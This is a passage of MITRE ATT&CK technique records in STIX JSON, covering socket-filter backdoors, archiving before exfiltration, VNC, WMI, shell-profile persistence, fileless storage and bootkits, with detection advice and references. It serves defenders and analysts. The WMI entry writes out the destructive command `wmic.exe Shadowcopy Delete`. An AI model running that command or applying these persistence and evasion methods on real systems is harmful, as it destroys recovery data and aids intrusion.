Scheduled Tasks History Retention settings. Retrieved December 12, 2017.", "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"}, {"source_name": "SigmaHQ", "description": "Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022.", "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-20T19:56:18.579Z", "name": "Socket Filters", "description": "Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`.  Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Tim (Wadhwa-)Brown", "CrowdStrike"], "x_mitre_data_sources": ["Process: Process Creation", "Network Traffic: Network Connection Creation"], "type": "attack-pattern", "id": "attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520", "created": "2022-09-30T21:18:41.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1205/002", "external_id": "T1205.002"}, {"source_name": "exatrack bpf filters passive backdoors", "description": "ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.", "url": "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf"}, {"source_name": "crowdstrike bpf socket filters", "description": "Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.", "url": "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"}, {"source_name": "Leonardo Turla Penquin May 2020", "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}, {"source_name": "haking9 libpcap network sniffing", "description": "Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.", "url": "http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", "type": "attack-pattern", "created": "2017-05-31T21:30:54.176Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1066", "external_id": "T1066"}], "modified": "2020-03-20T15:22:53.835Z", "name": "Indicator Removal from Tools", "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Log analysis", "Host intrusion prevention systems", "Anti-virus"], "x_mitre_is_subtechnique": false}, {"modified": "2023-09-15T19:02:53.995Z", "name": "Archive via Utility", "description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. \n\nOn Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_contributors": ["Mayan Arora aka Mayan Mohan", "Mark Wee"], "x_mitre_deprecated": false, "x_mitre_detection": "Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "created": "2020-02-20T21:01:25.428Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1560/001", "external_id": "T1560.001"}, {"source_name": "WinRAR Homepage", "description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.", "url": "https://www.rarlab.com/"}, {"source_name": "WinZip Homepage", "description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.", "url": "https://www.winzip.com/win/en/"}, {"source_name": "7zip Homepage", "description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.", "url": "https://www.7-zip.org/"}, {"source_name": "diantz.exe_lolbas", "description": "Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.", "url": "https://lolbas-project.github.io/lolbas/Binaries/Diantz/"}, {"source_name": "Wikipedia File Header Signatures", "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", "url": "https://en.wikipedia.org/wiki/List_of_file_signatures"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:46.879Z", "name": "VNC", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC).  VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Use of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\n\nOn macOS systems <code>log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: Process Creation", "Logon Session: Logon Session Creation", "Network Traffic: Network Connection Creation"], "x_mitre_system_requirements": ["VNC server installed and listening for connections."], "type": "attack-pattern", "id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "created": "2020-02-11T18:28:44.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/005", "external_id": "T1021.005"}, {"source_name": "The Remote Framebuffer Protocol", "description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.", "url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2"}, {"source_name": "MacOS VNC software for Remote Desktop", "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.", "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"}, {"source_name": "VNC Authentication", "description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.", "url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication"}, {"source_name": "Hijacking VNC", "description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.", "url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc"}, {"source_name": "macOS root VNC login without authentication", "description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.", "url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication"}, {"source_name": "VNC Vulnerabilities", "description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.", "url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/"}, {"source_name": "Offensive Security VNC Authentication Check", "description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.", "url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/"}, {"source_name": "Attacking VNC Servers PentestLab", "description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.", "url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/"}, {"source_name": "Havana authentication bug", "description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.", "url": "http://lists.openstack.org/pipermail/openstack/2013-December/004138.html"}, {"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"}, {"source_name": "Gnome Remote Desktop grd-settings", "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.", "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207"}, {"source_name": "Gnome Remote Desktop gschema", "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.", "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"modified": "2024-04-11T18:13:25.130Z", "name": "Windows Management Instrumentation", "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being \u201cdisabled by default\u201d on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["@ionstorm", "Olaf Hartong, Falcon Force", "Tristan Madani"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Process: Process Creation", "WMI: WMI Creation", "Command: Command Execution"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "created": "2017-05-31T21:30:44.329Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1047", "external_id": "T1047"}, {"source_name": "FireEye WMI 2015", "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"}, {"source_name": "Mandiant WMI", "description": "Mandiant. (n.d.). Retrieved February 13, 2024.", "url": "https://www.mandiant.com/resources/reports"}, {"source_name": "WMI 6", "description": "Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}, {"source_name": "WMI 1-3", "description": "Microsoft. (2023, March 7). Retrieved February 13, 2024.", "url": "https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN"}, {"source_name": "WMI 7,8", "description": "Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.", "url": "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-15T20:24:13.473Z", "name": "Malicious Shell Modification", "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use <code>/etc/profile</code> when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the <code>~/.bashrc</code> file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc<code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Robert Wilson", "Joe Gervais", "Tony Lambert, Red Canary"], "x_mitre_deprecated": false, "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /ect/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Apple\u2019s Security Endpoint Framework using the ES_EVENT_TYPE_NOTIFY_WRITE function for monitoring these specific files. \n", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS"], "x_mitre_version": "1.1", "type": "attack-pattern", "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1156", "external_id": "T1156"}, {"source_name": "intezer-kaiji-malware", "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.", "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:39.967Z", "name": "Screen Capture", "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Command: Command Execution", "Process: OS API Execution"], "type": "attack-pattern", "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "created": "2017-05-31T21:31:25.060Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1113", "external_id": "T1113"}, {"source_name": "CopyFromScreen .NET", "description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.", "url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8"}, {"source_name": "Antiquated Mac Malware", "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_is_subtechnique": false}, {"modified": "2023-05-04T18:06:40.829Z", "name": "Fileless Storage", "description": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Christopher Peacock", "Denise Tan", "Mark Wee", "Simona David", "Xavier Rousseau"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Creation", "WMI: WMI Creation"], "type": "attack-pattern", "id": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", "created": "2023-03-23T19:55:25.546Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/011", "external_id": "T1027.011"}, {"source_name": "SecureList Fileless", "description": "Legezo, D. (2022, May 4). A new secret stash for \u201cfileless\u201d malware. Retrieved March 23, 2023.", "url": "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/"}, {"source_name": "Microsoft Fileless", "description": "Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.", "url": "https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", "type": "attack-pattern", "created": "2017-05-31T21:30:54.661Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1067", "url": "https://attack.mitre.org/techniques/T1067"}, {"url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf", "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.", "source_name": "MTrends 2016"}, {"url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion", "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.", "source_name": "Lau 2011"}], "modified": "2020-03-20T19:53:25.628Z", "name": "Bootkit", "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-16T12:23:13.621Z", "name": "Boot or Logon Initialization Scripts", "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.  \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an 